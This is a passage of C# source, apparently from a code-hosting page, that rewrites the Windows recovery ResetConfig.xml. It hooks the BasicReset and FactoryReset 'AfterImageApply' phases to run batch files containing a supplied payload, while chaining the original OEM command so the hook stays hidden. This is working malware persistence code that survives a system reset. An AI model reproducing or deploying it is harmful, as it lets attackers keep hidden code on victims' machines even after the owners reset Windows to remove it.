||||
private static void UpdateExistingConfig(string basicBat, string factoryBat, string payload)
|
||||
{
|
||||
XElement xElement = XElement.Load(ResetConfigPath);
|
||||
XElement[] array = (from e in xElement.Elements("Run")
|
||||
where (string)e.Attribute("Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute("Phase") == "BasicReset_AfterImageApply"
|
||||
select e).ToArray();
|
||||
int num = 1;
|
||||
XElement[] array2 = array;
|
||||
for (int num2 = 0; num2 < array2.Length; num2++)
|
||||
{
|
||||
XElement xElement2 = array2[num2].Element("Duration");
|
||||
if (xElement2 != null && int.TryParse(xElement2.Value, out var result) && result > num)
|
||||
{
|
||||
num = result;
|
||||
}
|
||||
}
|
||||
string text = UpdatePhase(array, "BasicReset_AfterImageApply", basicBat);
|
||||
string text2 = UpdatePhase(array, "FactoryReset_AfterImageApply", factoryBat);
|
||||
if (text == null)
|
||||
{
|
||||
xElement.Add(CreateRunElem("BasicReset_AfterImageApply", basicBat, num));
|
||||
}
|
||||
if (text2 == null)
|
||||
{
|
||||
xElement.Add(CreateRunElem("FactoryReset_AfterImageApply", factoryBat, num));
|
||||
}
|
||||
SaveScript(basicBat, payload, text);
|
||||
SaveScript(factoryBat, payload, text2);
|
||||
xElement.Save(ResetConfigPath);
|
||||
}
|
||||
|
||||
private static string UpdatePhase(XElement[] phases, string phaseName, string fileName)
|
||||
{
|
||||
XElement xElement = phases.FirstOrDefault((XElement e) => (string)e.Attribute("Phase") == phaseName);
|
||||
if (xElement == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string text = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xElement.Element("Path");
|
||||
string text2 = ((string)xElement.Element("Param")) ?? "";
|
||||
xElement.Element("Param")?.Remove();
|
||||
xElement.Element("Path").Value = fileName;
|
||||
return "\"" + text + "\" " + text2;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user